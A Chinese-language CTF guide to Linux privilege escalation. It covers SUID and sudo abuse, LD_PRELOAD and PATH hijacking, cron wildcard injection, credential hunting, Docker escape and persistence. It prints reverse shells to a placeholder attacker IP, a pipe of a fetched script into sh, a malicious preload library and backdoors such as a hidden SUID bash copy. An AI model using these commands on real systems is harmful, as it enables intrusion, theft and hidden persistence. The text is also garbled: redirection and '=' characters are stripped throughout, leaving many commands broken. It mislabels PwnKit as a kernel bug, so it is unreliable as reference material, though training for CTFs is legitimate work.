1. 项目概述为什么我们需要“Traitor”思维在CTFCapture The Flag夺旗赛的渗透测试环节尤其是攻防对抗AWD或渗透靶场中拿到一个初始的、权限受限的Shell比如一个Web Shell或者通过漏洞获得的www-data用户权限往往只是开始。真正的挑战和得分点在于如何从这个低权限的“立足点”出发一路攀升至系统的最高权限——root。这个过程我们称之为“提权”Privilege Escalation。“Traitor”这个词在这里可以理解为一种“背叛者”或“内部突破”的思维。它意味着我们不再仅仅依赖外部漏洞狂轰滥炸而是深入系统内部利用其配置的疏忽、权限设置的瑕疵、乃至内核本身的弱点从内部完成权限的翻转。这种思维要求我们对Linux系统的运行机制、权限模型、常见配置有深刻的理解。本指南将聚焦于10个在CTF实战中最高效、最常被考察的Linux提权技巧它们就像10把钥匙能帮你快速打开通往root权限的大门。无论你是刚接触CTF的新手还是想系统化梳理提权知识的老手这份实战指南都将提供可直接“抄作业”的路径和背后的原理分析。2. 提权前的基础信息收集在尝试任何提权技巧之前盲目的操作等同于浪费时间。系统性的信息收集是成功提权的基石它能帮你快速定位最有可能的突破口。2.1 系统与内核信息侦察拿到Shell后第一件事就是摸清“战场”环境。你需要知道你在什么系统上内核版本是什么这直接决定了哪些漏洞利用Exploit可能生效。核心命令与解析uname -a: 这是最全面的命令一次性输出内核名称、主机名、内核发行版本、内核版本、硬件架构等信息。重点关注内核版本例如3.13.0-24-generic。cat /etc/issue或cat /etc/*release: 查看系统发行版信息如Ubuntu、CentOS、Debian等及其具体版本号。cat /proc/version: 提供类似uname -a的信息并包含GCC编译版本有时对判断漏洞利用的兼容性有帮助。实操心得注意不要只看版本号就盲目搜索漏洞。有些CTF题目会故意使用一个存在已知漏洞的内核版本但可能通过其他方式如SELinux、AppArmor、内核模块黑名单进行了缓解。因此信息收集要全面。2.2 用户、权限与进程排查了解当前用户是谁他能做什么以及系统里还有哪些用户和进程在运行往往能发现意想不到的提权路径。核心命令与解析id: 查看当前用户的UID用户ID、GID组ID以及所属的所有组。特别留意是否在不该出现的组里比如docker组、lxd组、sudo组但无密码等。whoami和pwd: 确认当前用户名和所在目录。sudo -l:这是黄金命令它列出当前用户允许以sudo身份执行哪些命令。如果输出中包含(ALL : ALL) NOPASSWD: ALL那恭喜你直接sudo su就提权了。更常见的是允许以root身份运行某个特定命令如/usr/bin/vim、/usr/bin/find、/usr/bin/python等这将成为我们后续利用的关键。ps aux或ps -ef: 查看系统所有进程。关注以root身份运行的进程特别是那些由脚本启动的、周期性的cron job或者看起来不常见的进程。这些进程可能调用了一些我们可控的脚本或二进制文件。cat /etc/passwd: 查看系统所有用户。注意UID为0的用户root和UID较低的系统用户。有时会有配置错误的用户shell比如给一个普通用户设置了/bin/bash但本不该有。cat /etc/shadow: 尝试读取shadow文件存储密码哈希。通常需要root权限但如果配置错误如错误设置了文件权限为644可能直接读到然后用john或hashcat进行破解。避坑技巧运行sudo -l可能需要输入当前用户密码。在CTF中这个密码有时就是当前用户的密码可能在Web配置文件、数据库或历史命令里找到有时题目设计就是无需密码。如果提示需要密码可以先放一放从其他途径寻找。2.3 文件系统与SUID/SGID特殊权限审计SUIDSet User ID和SGIDSet Group ID是Linux权限体系中两个强大的特性。当一个可执行文件被设置了SUID位那么任何用户在执行这个文件时都会以文件所有者的权限运行。如果这个文件的所有者是root那这就是一个潜在的提权通道。核心命令与解析find / -type f -perm -4000 2/dev/null: 在全盘查找所有设置了SUID位的文件。find / -type f -perm -2000 2/dev/null: 在全盘查找所有设置了SGID位的文件。find / -type f -perm -6000 2/dev/null: 同时查找SUID和SGID。ls -la /path/to/file: 查看具体文件的详细权限。SUID位表现为所有者执行权限位的s如-rwsr-xr-xSGID位表现为所属组执行权限位的s如-rwxr-sr-x。为什么这很重要系统本身有一些合法的SUID二进制文件如/bin/passwd允许用户修改自己的密码、/bin/su等。但问题在于如果一些本身功能强大且不应被普通用户以root权限执行的命令被错误地设置了SUID位或者这些合法命令本身存在漏洞如缓冲区溢出、环境变量注入就会导致提权。常见危险的SUID文件在CTF中常被利用find(如果版本较老或有特定参数)vim/vinanobash(某些版本)more/lessnmap(交互模式)cp/mvawk在信息收集阶段找到这类文件后需要结合后续的技巧来判断如何利用。3. 内核漏洞提权CVE的“降维打击”这是最直接、最“暴力”的提权方式。原理是直接利用Linux内核代码中的安全漏洞CVE通过运行一个精心编制的漏洞利用程序Exploit使当前进程获得root权限。3.1 利用流程与工具链信息收集如前所述使用uname -a获取精确的内核版本和系统架构x86/x64/ARM。漏洞匹配根据内核版本在本地或利用在线资源搜索公开的漏洞利用代码。常用资源有searchsploit(Kali Linux自带工具)本地漏洞库查询。Exploit-DB 网站。GitHub。编译与执行下载对应的exploit源码通常是C语言。在目标机器上编译gcc exploit.c -o exploit。如果目标机器没有gcc可能需要交叉编译或者寻找已经编译好的、对应架构的二进制版本。运行./exploit。如果成功通常会弹出一个root shell#。3.2 经典内核漏洞举例Dirty Cow (CVE-2016-5195): 一个非常古老但影响范围极广的竞争条件漏洞可用于向任何只读文件写入数据比如修改/etc/passwd给自己添加一个root权限用户。其利用代码稳定是CTF中的常客。Linux Kernel 5.8.0 本地提权 (CVE-2021-4034): 又名“PwnKit”存在于polkit的pkexec组件中影响几乎所有主流Linux发行版。利用简单几乎100%成功。其他常见CVE: CVE-2017-16995, CVE-2020-14386等也经常在各类靶场中出现。实操心得与避坑指南编译问题目标机器可能缺少必要的头文件如linux/user.h或编译库。可以尝试静态编译gcc exploit.c -o exploit -static。如果还不行就需要在相同内核版本和架构的机器上交叉编译好再上传。防护机制现代系统和CTF题目可能启用了安全机制KASLR (内核地址空间布局随机化)会增加漏洞利用难度但很多公开的exploit已经可以绕过。SMEP/SMAP (CPU特性)防止内核执行用户空间代码或访问用户空间数据。需要利用ROP面向返回编程等技术绕过。内核模块签名/锁定禁止加载未签名的内核模块使一些需要加载模块的exploit失效。稳定性内核exploit可能导致系统崩溃Kernel Panic。在CTF比赛中这通常意味着服务不可用可能被扣分。在真实渗透测试中这是绝对要避免的。因此优先尝试更稳定、更“温和”的方法。4. 利用SUID/SGID二进制文件提权当我们发现一个属主为root的SUID二进制文件后下一步就是研究如何“滥用”它的功能来获取root shell。4.1 利用路径从功能到Shell核心思路是这个以root权限运行的程序能否被我们引导去执行我们想要的命令方法一利用自定义命令执行有些SUID程序会调用系统命令。如果它没有使用绝对路径我们就可以通过篡改PATH环境变量来劫持这个命令。示例一个虚构的SUID程序假设我们发现一个SUID程序/usr/local/bin/backup它的功能是调用tar命令打包某个目录。// 伪代码 system(“tar -czf /backup/home.tar.gz /home/user“); // 危险使用了相对路径的tar我们可以这样做# 1. 创建一个恶意的可执行文件命名为tar echo “/bin/bash” /tmp/tar # 2. 给它执行权限 chmod x /tmp/tar # 3. 将包含恶意tar的目录置于PATH环境变量的最前面 export PATH/tmp:$PATH # 4. 运行SUID程序 /usr/local/bin/backup当backup程序以root权限调用tar时系统会在PATH中查找首先找到/tmp/tar并执行从而弹出一个root shell。方法二利用程序的自身功能一些程序本身就有执行命令或读写文件的能力。find命令如果find有SUID位可以利用其-exec参数。find / -name dummy -exec /bin/bash \; # 或者直接获取shell find / -name dummy -exec /bin/bash -p \;-p参数是为了保留提升的权限。vim/vi编辑器如果vim有SUID位可以在编辑模式下用:!bash或:shell命令启动一个shell这个shell将继承root权限。less/more分页器在浏览文件时可以输入!bash来启动shell。nmap旧版本当nmap以SUID root运行时其交互模式--interactive可以执行系统命令nmap -v-!sh。4.2 自动化枚举与利用工具手动检查每个SUID文件效率低下。可以使用脚本或工具来辅助LinEnum.sh: 一个经典的Linux本地枚举脚本它会自动检查SUID/SGID文件、sudo权限、可写目录、计划任务等并高亮显示已知的危险文件。LinPEAS: 功能更强大的自动化枚举脚本是PEASS-ng项目的一部分。它用颜色编码风险等级对发现的潜在漏洞点有更详细的解释和建议非常推荐。使用方式在攻击机上启动HTTP服务python3 -m http.server 8000在目标Shell中下载并执行curl http://YOUR_IP:8000/linpeas.sh | sh仔细阅读输出特别是红色和黄色的部分。注意事项工具的输出可能很长一定要有耐心仔细阅读。工具只是辅助它提示的“可能利用点”需要你根据前面介绍的原理进行手动验证和利用。不要完全依赖自动化。5. Sudo权限滥用提权如果当前用户被授予了sudo某些命令的权限通过sudo -l查看那么即使不能直接sudo su也可能通过巧妙的方式滥用这些命令。5.1 Sudoers配置漏洞解析sudo -l的输出可能类似这样User demo may run the following commands on target: (root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/python (root) NOPASSWD: /usr/bin/find这表示用户demo可以无需密码以root身份运行vim、python和find。5.2 常见可滥用命令的利用方法这里有一张“作弊表”列出了常见命令的提权方法Sudo允许的命令提权方法在命令前加sudo原理简述vim/visudo vim -c ‘:!bash‘或sudo vim-:shell利用vim的shell转义功能。pythonsudo python -c ‘import os; os.system(“/bin/bash”)’利用python的os.system或os.setuid(0)等模块执行shell。findsudo find / -exec /bin/bash \;利用find的-exec参数执行命令。less/moresudo less /etc/passwd- 输入!bash利用分页器的shell转义功能。awksudo awk ‘BEGIN {system(“/bin/bash”)}’利用awk的system()函数。perlsudo perl -e ‘exec “/bin/bash”;’利用perl的exec函数。cp覆盖敏感文件如/etc/passwd或/etc/sudoers。需要先准备好恶意文件。利用root权限的写能力。mv同cp移动恶意文件到系统关键位置。利用root权限的移动能力。tarsudo tar -cf /dev/null /dev/null –checkpoint1 –checkpoint-actionexec/bin/bash利用tar的–checkpoint-action参数执行命令旧版本。nmap(带脚本)sudo nmap –script“os” –script-args“cmd‘/bin/bash’”利用nmap脚本引擎执行命令需特定版本和脚本。实操心得关键在于理解sudo赋予了这条命令root身份的执行权限。因此只要这条命令本身有办法执行子进程或调用系统shell我们就能让这个子进程也运行在root上下文中。上表的方法就是触发这个机制。重要提示使用sudo vim提权后退出shell时可能会遇到vim进程残留的问题。稳妥的做法是在获取的root shell中先exit退出bash回到vim然后再用:q!强制退出vim。6. 环境变量劫持与路径操控Linux系统在执行命令时依赖于环境变量。如果以高权限运行的程序在调用外部命令时存在缺陷我们就可以通过操控环境变量来“偷梁换柱”。6.1 LD_PRELOAD劫持LD_PRELOAD是一个强大的环境变量它允许你在程序运行前优先加载你指定的共享库.so文件。如果某个SUID程序在运行时动态链接了库函数我们就可以通过LD_PRELOAD注入一个恶意的库覆盖原有的函数比如system()、getuid()从而执行我们的代码。利用条件目标SUID程序必须动态链接库用ldd命令查看。目标程序不能设置SUID安全位的同时又设置了RPATH或RUNPATH并且不能使用LD_PRELOAD环境变量黑名单通过/etc/ld.so.preload或程序的ELF头信息限制。但很多传统的、配置不当的程序满足条件。利用步骤编写恶意库创建一个C文件例如evil.c。#include stdio.h #include sys/types.h #include stdlib.h void _init() { // 或使用 __attribute__((constructor)) 修饰的函数 unsetenv(“LD_PRELOAD”); setgid(0); setuid(0); system(“/bin/bash”); }编译为共享库gcc -fPIC -shared -o evil.so evil.c -nostartfiles-nostartfiles对于使用_init()的函数很重要。通过SUID程序触发sudo LD_PRELOAD/path/to/evil.so SUID_PROGRAM或者如果是一个普通的SUID程序非sudo直接设置环境变量并运行LD_PRELOAD/path/to/evil.so /path/to/suid_program6.2 PATH环境变量劫持此方法在4.1节已有提及其核心在于当程序使用相对路径或未限定路径调用系统命令如system(“ls”)而非system(“/bin/ls”)时系统会从PATH环境变量指定的目录列表中依次查找该命令。我们将包含恶意可执行文件的目录置于PATH的最前面就能实现劫持。关键点劫持PATH对SUID程序通常无效因为出于安全考虑SUID程序在执行时会重置环境变量包括PATH为一个安全、默认的值。这是Linux系统的一个安全特性。但是对于通过sudo以root身份运行的非SUID程序PATH劫持可能有效。因为sudo默认会重置环境变量但它有一个配置选项env_reset和secure_path。如果管理员配置了sudo允许用户保留自己的PATH通过env_keep“PATH”或者secure_path设置不当劫持就可能成功。因此在尝试PATH劫持前先运行sudo -l查看输出中是否有env_keep相关字样。7. 计划任务Cron Jobs提权Cron是Linux系统的计划任务守护进程。系统管理员或用户可以通过Cron配置定时执行的任务。如果这些任务以root权限运行并且其脚本或二进制文件的权限设置不当就可能被我们利用。7.1 枚举与识别脆弱任务查看系统级Cron任务ls -la /etc/cron* /etc/at* cat /etc/crontab ls -la /var/spool/cron/crontabs/ # 需要root权限查看其他用户的cron对于当前用户自己的cron可以查看crontab -l。寻找可写任务重点关注那些以root身份运行但其脚本文件、配置文件或输出目录全局可写权限为777或所属组可写且当前用户在组内的任务。find / -path /proc -prune -o -type f -perm -ow -name “*.sh” -o -name “*.py” 2/dev/null find / -path /proc -prune -o -type d -perm -ow 2/dev/null # 寻找全局可写目录7.2 利用方式与实战案例场景一任务脚本全局可写假设发现/etc/cron.hourly/backup.sh以root权限每小时运行一次且该文件任何人都可以写-rwxrwxrwx。利用方法直接编辑这个脚本在末尾添加我们的提权命令。echo ‘/bin/bash -c “/bin/bash -i /dev/tcp/YOUR_IP/4444 01”’ /etc/cron.hourly/backup.sh然后等待下一个任务执行周期我们就会收到一个反向的root shell。场景二任务输出到可写目录假设cron任务是这样的* * * * * root /opt/scripts/clean_logs.sh /tmp/clean.log 21。如果/opt/scripts/clean_logs.sh不可写但/tmp/clean.log所在的目录/tmp或文件本身可写这通常无法直接提权因为重定向是由shell在任务执行前处理的我们无法控制。但是如果脚本内部有将输出追加到某个可写文件的操作我们可以通过创建符号链接symlink的方式进行攻击属于竞争条件难度较高。场景三通配符注入这是Cron任务提权中一个非常经典且巧妙的技巧。假设有一个root的cron任务如下* * * * * root tar -czf /backups/website_$(date \%Y\%m\%d).tar.gz /var/www/html/*管理员的本意是备份/var/www/html/下的所有文件。这里使用了通配符*。利用方法我们可以在/var/www/html/目录下创建特殊文件名的文件利用tar命令的参数解析特性来执行命令。cd /var/www/html # 创建一个文件文件名本身就是tar的命令行参数 touch “–checkpoint1” touch “–checkpoint-actionexecsh shell.sh” # 创建一个包含反弹shell命令的脚本 echo ‘#!/bin/bash’ shell.sh echo ‘/bin/bash -i /dev/tcp/YOUR_IP/4444 01’ shell.sh chmod x shell.sh当cron任务执行时tar命令会变成tar -czf /backups/website_xxx.tar.gz /var/www/html/–checkpoint1 –checkpoint-actionexecsh shell.sh …其他文件…–checkpoint和–checkpoint-action是tar的参数它会导致tar在执行过程中运行我们的shell.sh脚本从而获得root权限。注意事项通配符注入的成功与否取决于具体命令tar, rsync, chown等和其版本。需要仔细研究目标命令对参数的处理方式。在CTF中这常是一个精心设计的考点。8. 敏感文件与密码信息挖掘很多时候提权不需要复杂的漏洞利用只需要找到管理员无意中留下的“钥匙”——密码、密钥或配置凭证。8.1 常见敏感文件存储位置用户历史文件~/.bash_history: 当前用户的bash命令历史。可能包含密码、sudo密码、连接其他服务的命令。~/.mysql_history,~/.psql_history等: 数据库客户端历史。配置文件与凭证Web应用配置/var/www/html/config.php,wp-config.php,.env文件等。常包含数据库密码。服务配置文件/etc/shadow(密码哈希终极目标)/etc/passwd(可写时可用于添加用户)/etc/sudoers。SSH密钥~/.ssh/id_rsa,~/.ssh/id_rsa.pub,~/.ssh/authorized_keys。如果找到其他用户如root的私钥且未加密可直接SSH登录。备份文件*.bak,*.old,*.tar.gz,*.zip。可能包含旧版本的配置文件其密码可能还在使用。内存与进程信息使用strings命令搜索内存或进程内存映射中的密码strings /dev/mem | grep -i pass(需要root) 或strings /proc/PID/environ查看某个进程的环境变量可能包含密码。日志文件有时密码可能被误记录到日志中。查看/var/log/下的各种日志。8.2 自动化信息收集脚本手动查找效率低可以使用工具进行模式匹配LinPEAS如前所述它会自动搜索包含pass、key、cred等关键词的文件检查文件可读性并尝试从常见配置文件中提取凭证。LaZagne一款功能强大的开源凭证恢复工具支持从浏览器、数据库、Git、SVN、系统存储等多种来源提取密码。简单的grep命令组合# 在当前目录及子目录中搜索包含’password‘关键词的文件 grep -r -i “password” /home/ 2/dev/null # 搜索可能包含私钥的文件 find / -name “id_rsa” -o -name “id_dsa” -o -name “*.pem” 2/dev/null # 搜索可读的配置文件 find / -type f -name “*.conf” -o -name “*.cnf” -o -name “*.ini” 2/dev/null | xargs grep -l “pass” 2/dev/null实操心得信息收集要“胆大心细”。“胆大”是指要敢于尝试读取各种看似无权访问的文件有时权限设置会有疏忽。“心细”是指要对找到的信息进行关联分析。例如在Web配置中找到数据库密码可以尝试用这个密码去登录系统用户很多人习惯用同一个密码或者用这个密码尝试sudo。9. 容器与虚拟化环境逃逸在现代CTF和云环境中目标常常运行在容器如Docker或虚拟机中。从容器内突破到宿主机是另一种形式的“提权”称为“逃逸”。9.1 Docker环境检测与逃逸如何判断自己在容器内检查/.dockerenv文件是否存在。查看/proc/1/cgroup如果内容中包含docker、kubepods等字样则很可能在容器内。检查内核版本和主机名容器内通常与宿主机一致。Docker逃逸常见漏洞Docker Socket挂载如果容器以-v /var/run/docker.sock:/var/run/docker.sock方式运行那么容器内就可以直接与宿主机的Docker守护进程通信。我们可以在容器内安装Docker客户端然后通过docker run -v /:/host -it –privileged alpine chroot /host bash这样的命令运行一个挂载了宿主机根文件系统且特权模式的新容器从而获得宿主机shell。# 容器内操作 # 1. 检查docker.sock是否存在 ls -la /var/run/docker.sock # 2. 安装docker客户端如果未安装 # 3. 使用宿主机docker daemon运行一个特权容器 docker -H unix:///var/run/docker.sock run -v /:/host -it –privileged –nethost alpine chroot /host bash特权模式Privileged Mode如果容器以–privileged标志运行容器就拥有了几乎所有的宿主机内核能力。我们可以直接挂载宿主机磁盘mkdir /host mount /dev/sda1 /host # 需要先fdisk -l查看磁盘设备 chroot /host bash内核漏洞容器与宿主机共享内核。因此在容器内利用成功的内核漏洞如Dirty Cow获得的root shell直接就是宿主机的root权限。9.2 判断与防范意识在CTF中容器逃逸题目通常会给出明显的暗示比如存在docker.sock文件或者sudo -l显示可以运行docker命令。在真实渗透中这需要敏锐的观察力。注意事项容器逃逸的本质是滥用容器与宿主机之间的共享资源或配置缺陷。思路要从“如何获取容器内root”转变为“如何从容器内影响到宿主机”。10. 组合利用与思维拓展在实际的CTF比赛或真实场景中单一的技巧往往不足以完成提权。需要将多种信息收集结果和技巧组合起来形成一条完整的攻击链。10.1 构建攻击链的思维模式信息串联将sudo -l、SUID文件、Cron任务、可写文件、找到的密码等信息联系起来。例子sudo -l发现可以无密码运行/usr/bin/apache2。这本身可能难以利用。但同时发现一个以root身份运行的Cron任务它调用了一个全局可写的脚本。我们可以修改这个脚本让它用sudo /usr/bin/apache2 …的方式去加载一个恶意模块需要具体分析。或者我们找到数据库密码尝试SSH登录发现是普通用户再用这个用户的sudo -l可能发现新的东西。权限升级从低权限用户提权到另一个高权限用户非root再从这个高权限用户提权到root。例如先利用Web漏洞获得www-data权限然后通过挖掘的密码切换到user1发现user1可以sudo运行vim从而获得root。利用上下文注意当前Shell的环境。你是通过Web Shell如PHP、JSP进来的还是通过反向ShellWeb Shell可能受到open_basedir、disable_functions等限制执行某些命令如sudo、find -exec可能受限。此时可能需要先想办法得到一个更完整的TTY Shell使用python -c ‘import pty; pty.spawn(“/bin/bash”)’或script /dev/null -c bash。10.2 稳定Shell与权限维持获取root Shell后在CTF中可能意味着已经拿到flag。但在一些复杂的AWD赛制或渗透测试中还需要考虑权限维持。添加后门用户直接在/etc/passwd中添加一个UID为0的用户需要可写。或者如果/etc/shadow可写可以生成一个密码哈希替换root的哈希。# 生成一个密码为’evil‘的哈希 openssl passwd -1 -salt abc evil # 输出类似$1$abc$TgqFpX5c5HpdmWwH5lJ0Z. # 编辑/etc/shadow将root的密码哈希部分替换掉SSH密钥注入将公钥写入/root/.ssh/authorized_keys。创建SUID后门cp /bin/bash /tmp/.evilbash chmod 4755 /tmp/.evilbash # 设置SUID位 # 之后任何用户执行 /tmp/.evilbash -p 即可获得root shell最后的心得Linux提权是一个对知识广度、深度和临场思维都要求很高的领域。这份指南中的10个技巧是经过大量实战检验的“高频考点”。但真正的能力在于将这份“地图”内化在面对陌生系统时能熟练地使用信息收集这把“雷达”快速定位可能的“薄弱点”并灵活组合运用相应的“工具”进行突破。多打靶场如VulnHub, HackTheBox, TryHackMe上的机器反复练习这些技巧是提升提权能力的不二法门。记住每一次成功的提权都是对系统更深一层的理解。